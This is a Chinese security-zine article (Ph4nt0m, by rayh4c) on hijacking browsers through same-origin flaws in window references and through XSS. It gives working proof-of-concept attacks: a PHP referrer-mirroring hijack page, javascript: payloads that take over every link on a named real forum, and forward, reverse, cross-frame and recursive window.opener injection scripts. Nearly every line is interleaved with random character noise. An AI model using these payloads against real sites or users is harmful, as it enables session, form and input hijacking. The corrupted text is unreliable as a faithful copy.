==Ph4nt0m Security Team==
6 |4 m) w, ?5 K' d: o: W
, V" Q3 A$ ]( q Issue 0x03, Phile #0x05 of 0x071 z: s& [* g1 o0 G$ F
c6 T. \3 K0 I4 a2 E8 M' K; b+ }+ g2 W" H! O
|=---------------------------------------------------------------------------=|+ K* m1 i, f6 I) s8 h9 \, L
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
2 Z1 q( \; c0 U& {4 p|=---------------------------------------------------------------------------=|
- j, K6 k7 q$ k# Z& S|=---------------------------------------------------------------------------=|
; N& x1 G2 j) z2 P* I7 `|=------------------------=[ By rayh4c ]=---------------------------=|
$ a4 }5 c0 }+ g+ T1 j' n1 r|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|) Z' }) N$ }1 \2 s) {, ^6 v
|=---------------------------------------------------------------------------=|" h/ S5 X- ^" e5 {: l" h# h& D
8 Z! [( ]# M9 }7 W* X: K$ x
$ Q; j6 g+ g* Q/ t8 u
[目录]
( _$ U3 S7 m& g9 ]9 t8 n# v* ? }
& X5 p3 ^! a2 {7 j& P- T1. 前言
! F9 \* C' [0 P: c: V2. 同源策略简叙. n, O* B$ J. \* r, |
3. 理解window对象的同源策略
0 \+ |9 Z6 ~6 N" o$ V4. 窗口引用功能中的同源策略漏洞
2 Y m* O* W/ g' \% H5 l) F. _* ~ 4.1 父窗口引用子窗口的同源策略问题
7 H( ~0 ?8 U7 w5 N- ]" N. s 4.2 子窗口引用父窗口的同源策略问题
4 u% w8 S' Z8 V8 m" x; }4 m5. 利用窗口引用漏洞劫持浏览器 ?- u3 a# E, e2 j
6. 利用XSS漏洞劫持浏览器- X' b( O4 q9 A% W
6.1 正向跨窗口劫持
2 ?9 S6 ^% ]' }0 B 6.2 反向跨窗口劫持9 }% q9 y8 \: \/ D$ F: N! |' B0 O* y
6.3 极度危险的跨框架窗口引用劫持
+ b" X2 a4 H5 u1 ?* F. n 6.4 极度危险的正反向跨窗口递归劫持# Q7 e- J9 D, o2 H4 x
6.5 完全控制浏览器
8 I& B6 {/ {6 Q1 f' a7. 后记
$ g) B5 v) G3 |. [6 ?7 W# p8. 参考
. L0 u) C7 b* r% b( a% [2 k. E* G$ c* p" A. A" a( t- }% p
. P6 q- u: ^9 ~* h. R+ H+ q一、前言& L# b& x) E2 E! E0 s: @( k, g3 R5 Z! o
0 O2 _$ m9 m0 f! _6 F1 `4 F
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋$ M0 q, Y& }: G6 G j& n( x4 t
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
; }, [( J& \: i1 ]! f3 a劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
6 n \" O% P8 O条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
( V" s( J; D6 ~4 ], F+ F. \0 _
) U7 ]" l* \4 i E+ N! @$ {, p! o4 B" v7 ~5 b3 j4 A! d: I
二、同源策略简叙6 G. l; G3 N; q* r0 h
, s& z8 h/ a7 l( J' f& b5 o' O
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以- ~' N/ ^$ a, {/ K1 P
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都4 k% y% `% B6 j* x3 W0 \# u
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
" Y5 m8 Q( L: e. H: q马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
/ f! ?/ i* {! H9 y* w漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。! m& r# W6 g3 B* y
0 n: i* n! e* _ @% m$ z c
) E% u/ e! y. X; U/ M三、理解window对象的同源策略
/ W" U( s. c$ ^5 W9 v; R* q
4 z0 m) h* r- t% w 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
v) t: K2 v" g: x/ l+ n象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
1 i/ ]' }" }' ]6 c& D2 I) \
. i; R4 h/ \4 y" i- M--code-------------------------------------------------------------------------/ @* u4 D( r' z1 ~" e5 W0 J0 Y
<script language="javascript">4 A3 E5 z( x/ z5 v- H) F% g, C
for(p in window) document.write(p+"<br>");
# K* J% t4 H, Q</script>- d' Q2 u5 Y9 `5 Q+ R
-------------------------------------------------------------------------------
/ ?3 ?# K7 h- s0 P$ S! v
: D( N- ]/ A$ o 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
" u/ ]; b0 p# P法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
8 `% J( l8 Q9 e. L. V' U! q这些属性和方法就必须遵循同源策略。+ Z% x c% i+ K4 M/ U0 i6 l
' K: Q& [; N: @$ D8 W0 ?4 \
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那! r# L* w9 d7 Z
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须* v# o- p; Z% I/ d( v; x
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这/ ^. w) H `7 i9 _2 e+ Z
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的' ?* ^2 H _/ n* R5 ]! N8 N
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
% g3 c/ z( `6 O% z" ]属性并没有被拒绝访问。
8 U" p2 X! w% t5 f* Q5 ?2 T' u7 B; J0 o8 k3 R/ b1 s. k/ u
--demo.html--------------------------------------------------------------------- K: W6 ]0 |) s9 u9 [" r7 k1 e
<script language="javascript">
" f& Q, O3 C! |# dfunction allPrpos(obj) { - z( b0 J4 N0 a, r
var props = "<table><tr><td>名称</td><td>值</td>"; 6 w: k6 r/ |5 S( e9 N2 b, o r
for(var p in obj){ * n+ f2 d7 h4 e; q9 Y
if(typeof(obj[p])=="function"){ v2 z/ P+ m! q$ j+ s9 ~( s
obj[p](); % e. @) ^; V/ x- \
}else{
6 Z2 `: e3 L, z try
# g$ m5 u1 {1 T8 M+ r+ Y8 r H {
5 I( B; D, w% z; Q; ]. r6 b/ W props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; - c% u! E2 E9 F
} 2 p; u( u) u4 z
catch (ex) 1 d3 u' b6 H2 c! o7 Q# N. E0 @
{ / P" b3 V& s6 v' ~4 e
$ t9 R# b3 \. o; z props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; # @# C* R0 t+ J" O/ P6 d' W
} 4 N5 T$ J8 G* o" W! W6 ]
E/ B4 Y2 P& Q* O |& F
}
8 h$ [; \* U4 w. ~2 l4 h# m }
" K, N# S+ g2 s- { , ^) ]% H6 i3 A3 N
document.write(props+"</table>"); 4 m. w) s* C+ q* ?) z1 j
} 1 G% h7 m( N6 Y: K. R+ L
$ I5 g9 a# ~1 E6 k g0 J
function createWin() {: Q3 M. ~) t/ G. L/ I! X
newWin = window.open ("http://www.google.com"); / d* D; F3 v- h7 x9 c6 y0 c
setTimeout(function(){allPrpos(newWin)},2000);
t. n- n; [3 K9 S( @}
& _) m2 `* O% [7 B( x$ m* P9 o8 O: {4 m" q/ M j7 p
</script> # B8 |$ j! q1 U6 z/ |4 A1 R5 l8 t
9 {9 U/ K7 y; H<button onclick='createWin()'>创建一个非同源子窗口测试</button>
9 K+ i8 A( `' P. y$ ~-------------------------------------------------------------------------------! N) d7 _7 e9 @, k
2 `/ j) F: u) G9 H9 L2 P- ]" I. j. E: g
四、窗口引用功能中的同源策略漏洞. g! H( D% J/ L y* m A9 Q
! H. m" E* @! o% X- Z) H4.1 父窗口引用子窗口的同源策略问题2 `* d5 Y) e, ^) t3 P$ ~
( X0 t' z* o8 X0 M6 U( S 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
0 B; n- p( M, I. B: z但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道: w7 L( j- t; @$ ]; S: e
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进) F7 ^9 A+ l- W' h5 W1 g7 ]2 B
行测试,会发现父窗口可以控制非同源子窗口location属性值。* ], U+ t- ~ w$ |7 {
; D2 B a: d1 G4 X m U( |
--vul1.html--------------------------------------------------------------------
! K* A! X$ j1 D* K) V5 P<script language="javascript">
% E2 {5 t& a) k' y+ K: g% Kfunction createWin() {
! ]2 s& G8 j9 R6 \7 g) P4 e newWin = window.open ("http://www.google.com"); ! |% r% p+ _' ~" e( I
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ; J& }* Q- S# @) j/ K
} ! E7 v3 R9 o' b% x
</script>
2 o3 \4 ]+ H$ ]6 l* F: a4 @2 p- X' [9 J7 Y7 ^
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
0 f9 d' l7 z1 i/ z W, N-------------------------------------------------------------------------------$ c0 K8 A0 q* J3 K6 Y7 G0 }1 c
0 Q, ?5 {! p6 M% |6 G a
+ ]$ R" i! U8 ]; p. I, ]' L
4.2 子窗口引用父窗口的同源策略问题
# e+ Y4 e% p1 w* Q5 |- |4 o5 }3 G) U6 R! S2 Q: M, |. f
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使9 m& r5 X6 G! r( ]
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
+ w, U# {* s* w' t0 V* \可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定3 }1 t# m( r- A O
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
0 i! _3 w. T2 i0 m7 Z/ Q0 o9 T8 p7 z
--code-------------------------------------------------------------------------
1 G% @, K1 ~, `* G" M* [1 I$ G K+ C4 y7 m6 ^3 G4 V
javascript:window.opener.location = "http://www.80sec.com";void(0);) H# F/ n4 w8 ^9 V
( M, k8 F0 T+ a
-------------------------------------------------------------------------------, ], I/ f( ^+ M$ V* D% ~3 g
, }9 K. z3 B! g+ A
. n+ O+ u* I3 f, |
五、利用窗口引用漏洞劫持浏览器9 e8 ?' T( s/ F1 o9 Q8 g
2 @' T; ^& O9 g9 ? Y$ h3 c. V 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子4 g. B! F7 ~& o" B6 C5 n0 c7 e
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
+ @1 m4 w7 v3 o$ k么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。) P9 z" l3 \" [ R! b8 ?) L
6 p8 o* D! I! u, }6 @% F* X0 H 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
/ Y* U0 Z8 ^% B. e生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
# Q( _) j; g# d+ X者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接: ` n8 d( V0 Q2 x d
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下9 ^9 @ [; o* a Z4 N/ S
会产生什么可怕的后果。
% K( n$ Y- r, l! p% ]2 l7 a; E) L/ {- S2 c k$ X ^% n) }0 l
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我3 P) Z, g, ~$ {8 Q
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php; C6 ^4 f( P* n; n: @
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时& M4 ?, r& j! \$ w) R3 S# |
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
( W/ q& b F0 g以做更多的事情,所有的一切仅仅是因为点击了一个链接。& G( {! _9 d2 k) l
, ^$ r! Q5 P4 f- l
--hjk_ref.php------------------------------------------------------------------
" p. S d; I& W; C<?php
- q4 r& T+ J1 M; Y2 d# F0 u2 Lif (array_key_exists("HTTP_REFERER", $_SERVER)) {2 [5 Q& z4 d3 M: r3 l3 Q
$Url_Mirror = $_SERVER["HTTP_REFERER"];
' _) x) V' L, F0 j}
7 b5 x# F5 U- a0 gif(isset ($_GET['ref'])) {1 z z: x. l5 u
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';+ E3 U8 G2 P( h; L9 c' A
}
" G2 C8 I* q& Z, t! P?>5 W1 `3 n0 X6 k9 H# Q
" w4 `5 x1 l: \$ n<script language="javascript">: \5 ~. u3 N' `
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
) G6 p5 C2 i- S+ f3 f</script>+ H I$ D3 N& z( j, V9 l
-------------------------------------------------------------------------------
$ q7 E+ z" w8 u3 A/ V* ~; Q) w" m& z' c$ X+ ^7 |+ V! k- P/ A7 s
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。/ d& b; N5 A7 n' K# l. t( G
* T$ t8 B! }: z
- Z6 Z( b/ R4 U( r六、利用XSS漏洞劫持浏览器; e/ T0 }9 R' ^, {# b+ `, V
. ?, z$ n7 g- b5 c h+ E# a 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
' o& `; f4 v& n* b; J* y) N持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
# E/ g B9 \. u' S8 D; q8 EXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起) Q" W3 R% u# ^/ ~
讨论跨站师的终极技巧:! S0 e8 Q6 C' u8 D5 \0 R( Y+ u8 f
* M5 R, s% t, U8 x+ Y3 D( v
- s9 r; o) G8 U6.1 正向跨窗口劫持
1 R% @6 Y% x) q8 f' ^4 [/ X" N$ `- t$ k# q. Z/ e3 q( B: N: d3 Z
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
' {; n2 c" |7 z主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链+ A) O1 Y! X3 v& ^* ~5 _0 s
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
- o2 L, O9 L6 g) M8 w3 V+ r框脚本。 5 k* r1 _2 i2 f/ g0 V( {6 e
9 r& n% w5 E+ e5 o
--hijack_open.js---------------------------------------------------------------% a3 J2 ? U8 [7 v( Q0 o, O
+ H5 x) C- n! v6 h" Xjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);4 K* z) t( m) x' \: N: P6 ^) I
" l0 }; c0 _4 M' F* P7 i4 ~) G
-------------------------------------------------------------------------------: i% f2 S- Z- w8 ?
! J0 w8 A5 O( j
' m# ~( k7 Y" b6 Q! y7 I
6.2 反向跨窗口劫持; l9 ^& ^1 M3 ~% U+ w- J) d
8 W9 a/ ?$ R! E, l
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
* o) h5 M, i. S码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话' ~& L" Z* ?( I
框脚本。6 Q: L( y6 u% d
% a. [. t, } R8 O) l
--hijack_opener.js-------------------------------------------------------------! F, ]# Q+ s. i8 P$ _: b# |2 j
8 }' W! G1 ]) sjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
8 }. u; ?' ]5 S: `
' u4 Y/ [. s) A) O# |-------------------------------------------------------------------------------
+ `# `1 n0 w# d1 h! u, B# q8 X" y. `% O7 A0 L: g
7 _+ C' e% s5 ^4 M5 C% W
6.3 极度危险的跨框架窗口引用劫持
7 \) P3 D. ~: u" D2 m9 t
" P$ Z$ T$ } }9 B r& R! k 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞; A% P* \2 ] J$ z+ U1 h* l
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
2 K6 Y5 ~$ P& d Z适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
* Y; X- b. l+ t) U非持久型的XSS,如下:
2 c: A+ Y5 ^$ t5 V
w8 [, V5 {% e1 T8 o# Y<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
' {8 }% K4 w8 I* Q( _& R3 A I
. R5 ?) C0 X" M' ` 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
( S0 M) a+ i6 S" h: d3 C1 @) {注入脚本。
7 \) p9 _7 l! X% M) x# ?9 y
! f' r" {. S# R--hijack_frame_opener.js-------------------------------------------------------
( M H' V, u' B& L& i5 w2 ?<script>
) |9 z, D6 {: {# Xwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";/ E# w% x0 J4 t0 j- J2 i0 A
</script>& ~- v, u/ p* F/ P6 @( c
-------------------------------------------------------------------------------; P: O& ]% }$ W: Z+ u% ]' w' c
' V: m0 a) R7 [
1 j" s0 ~: c% {6 T: D
6.4 极度危险的正反向跨窗口递归劫持
2 n$ ?. r1 j; d6 I$ | w' j. X7 q+ |$ g' D, i1 i
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window0 n) x! @, |/ |! g; \
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过, v0 s6 D( l, m+ |* m
异常处理规避之间跨域页面的访问异常,代码如下:; q& j, Z6 a, s. _5 f+ I; r
; J! w% b! v7 X/ D/ Y' q
--code-------------------------------------------------------------------------, `9 p6 P- r4 O5 ~7 c
" O" y1 s) b" \4 v$ t3 p2 |7 J3 Yjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
' Z0 b" c, _3 e0 \ c
" ~8 p. z: c3 X8 G( B: r9 |-------------------------------------------------------------------------------# A+ j# w9 v6 P+ z
8 @/ l: M, ^) s# l- u5 e0 n
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
0 t; b2 R+ F$ U以劫持B域之前的A域页面,从而实现“隔空打击”。1 X# x/ {6 d7 K& x" x2 ]3 p
( i' V0 N' [! ^% Q+ s/ v. h
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
4 M6 o" R) L" b5 Q/ k/ _/ F7 K执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。- P$ I6 L- f1 ]: g! p" b
- l% e6 V4 F% ~( q7 D& I+ \. }
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
' ]4 [- J0 e1 q# L
+ z$ E& N6 G3 b2 |! |7 q* Z' J) F$ t8 W
6.5 完全控制浏览器
7 v8 i: n4 i' \; h" ^* f
7 u, X2 X: m! j 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
9 V' v$ U& j7 T7 Q1 [8 d5 ]4 C是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
, Q5 `3 a0 J5 n6 R2 k漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失% A- F/ P% J' P; \7 t) j
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
; C; b, K/ f. }+ H% T& c$ i* |列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
' M* _8 r q$ ~师的终极目标 - 完全控制浏览器。1 d* }6 i0 A2 ?
2 u8 `; f+ X3 \9 c M
4 Y- |" d0 |/ F8 E七、后记0 Z! C- y( {% i5 y6 E
; ^5 r2 ^* Q; {8 m$ K1 v( N
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全7 x1 g3 v$ ]* W2 g' ~3 j) E
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予1 r2 Z% B* J! E& F4 f9 ]6 B
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。9 C9 y6 \6 T5 Y& D5 U# C$ Z9 Z
& o* q8 y# f+ S5 _# b! M; n/ x
8 H% W+ l) O4 r八、参考% H+ q q1 q7 \! H
2 y" X \1 ~! I9 F. K/ l$ \% \
1. http://en.wikipedia.org/wiki/Same_origin_policy
: U% p D1 v4 I# p S2. http://code.google.com/p/browser ... licy_for_DOM_access
4 h8 q7 J6 w0 e. M: O. I1 n( W3. http://www.w3.org/TR/Window/$ J4 [4 S# [- a% `6 U
4. http://www.80sec.com/release/browser-hijacking.txt% Q- U6 X( n& }, Z. |$ `* S1 Y
5. http://www.80sec.com/all-browser-security-alert.html
* e! t$ ~$ Y, F3 {- k1 j/ o6. http://www.80sec.com/ms08-058-attacks-google.html! _* K' R4 g( n; K4 j2 P1 a
9 I8 [* e5 R, N, t6 J1 }+ V, F
-EOF- |